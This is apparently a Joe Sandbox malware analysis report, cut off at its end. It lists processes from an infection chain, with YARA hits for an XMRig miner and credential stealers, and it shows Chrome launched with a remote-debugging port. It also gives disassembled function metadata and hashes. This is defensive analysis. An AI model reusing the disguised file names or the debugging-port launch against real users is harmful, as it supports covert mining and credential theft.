Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	16:07:07
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6e3970000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000029.00000003.3327635241.0000021C017A0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000029.00000003.3327635241.0000021C017A0000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000029.00000003.3327635241.0000021C017A0000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	16:07:10
Start date:	17/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	16:07:11
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe"
Imagebase:	0x1000000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 62%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	16:07:11
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	16:07:12
Start date:	17/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	16:07:12
Start date:	17/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2180,i,16211811774581553448,15495280197466442356,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	16:07:15
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe"
Imagebase:	0x1000000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002F.00000003.3211107486.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002F.00000003.3211759711.000000000075F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	16:07:22
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe"
Imagebase:	0xb60000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	16:07:22
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	16:07:26
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe"
Imagebase:	0xb60000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	16:07:27
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe"
Imagebase:	0xb60000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000033.00000003.3408995294.000000000109A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	16:07:37
Start date:	17/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000034.00000002.3674964908.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000034.00000002.3673344740.0000000000BE7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000034.00000002.3673344740.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000034.00000002.3674248985.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.8%
Total number of Nodes:	754
Total number of Limit Nodes:	24

Executed Functions

Function 00E4652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00E4652A,?,?,?,?,?,00E47661), ref: 00E46567

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b3dc117b514f85df67732e03c29874887991c7b8cc9b98933f986e46e9aeceeb
Instruction ID: c674d6ed46023dc3c5d92b608b8181a09e5e70c74c48782e50138de489ba5c91
Opcode Fuzzy Hash: b3dc117b514f85df67732e03c29874887991c7b8cc9b98933f986e46e9aeceeb
Instruction Fuzzy Hash: 5FE08630141108AECF257B18E85DD8D3B99EF52769F445C10FD1896125CB29ED41C541

Function 050A03AA Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1814325824.00000000050A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cff28097b6bdf43adc383bf66666eda29130aba012dfb279c1f98a46d3aece15
Instruction ID: c4afb2e25d0122da7db9f67cfdaf7f318812957642a62ba9378a1a1bcf4673d3
Opcode Fuzzy Hash: cff28097b6bdf43adc383bf66666eda29130aba012dfb279c1f98a46d3aece15
Instruction Fuzzy Hash: 5EF082FB15D105AE7251D1D1BB68AFF272EE5D7334330C83BF402C5402E2884A5E5132

Function 00E15C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00E16098
00000422, xrefs: 00E160C9
0000043f, xrefs: 00E1612B
00000423, xrefs: 00E160FA
Keyboard Layout\Preload, xrefs: 00E16054

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: fa9a75c0875eaf10a15197380ab6b88b5edd9548ed66c8a1569da0fad265e9dc
Instruction ID: 5834de442cdcb6cf9c46a572ca49f201c1b6aaac5dd6382117a2f000d5bbe058
Opcode Fuzzy Hash: fa9a75c0875eaf10a15197380ab6b88b5edd9548ed66c8a1569da0fad265e9dc
Instruction Fuzzy Hash: 2AF1E0B1A0025C9BEB24DF54CD84BDEBBB9EB44304F5046A9E518B72C1DBB49AC4CF91

Function 00E19BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E1A963
CreateMutexA.KERNEL32(00000000,00000000,00E73254), ref: 00E1A981

Strings

T2, xrefs: 00E1A970

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 5cc9bf86e4e867088e445201e80d52dab7e7b0d03e97fbfb60d2a152d38ac881
Instruction ID: 363b6dc56a32a3800f6788b68732afe9f8a6a4b73d8270cfe5b10d6f8429140c
Opcode Fuzzy Hash: 5cc9bf86e4e867088e445201e80d52dab7e7b0d03e97fbfb60d2a152d38ac881
Instruction Fuzzy Hash: 5F3126717052448BEB08EB78EC99BEDF7A2EFC1310F249219E055B72D6C7758AC08791

Function 00E19F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E1A963
CreateMutexA.KERNEL32(00000000,00000000,00E73254), ref: 00E1A981

Strings

T2, xrefs: 00E1A970

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 219ae9319a5b03b73e5f6d6271b91df459c87de3dee69febf3ec8d329c1c88b3
Instruction ID: f660c2e236d279222d3f8314d5dbd8329bd4f852dba3c479a5210ded75aef139
Opcode Fuzzy Hash: 219ae9319a5b03b73e5f6d6271b91df459c87de3dee69febf3ec8d329c1c88b3
Instruction Fuzzy Hash: 9C3148317052409BEB089B78EC987FCB7A2EFC9310F285629E015F72D2D73589C08752

Function 00E1A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E1A963
CreateMutexA.KERNEL32(00000000,00000000,00E73254), ref: 00E1A981

Strings

T2, xrefs: 00E1A970

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
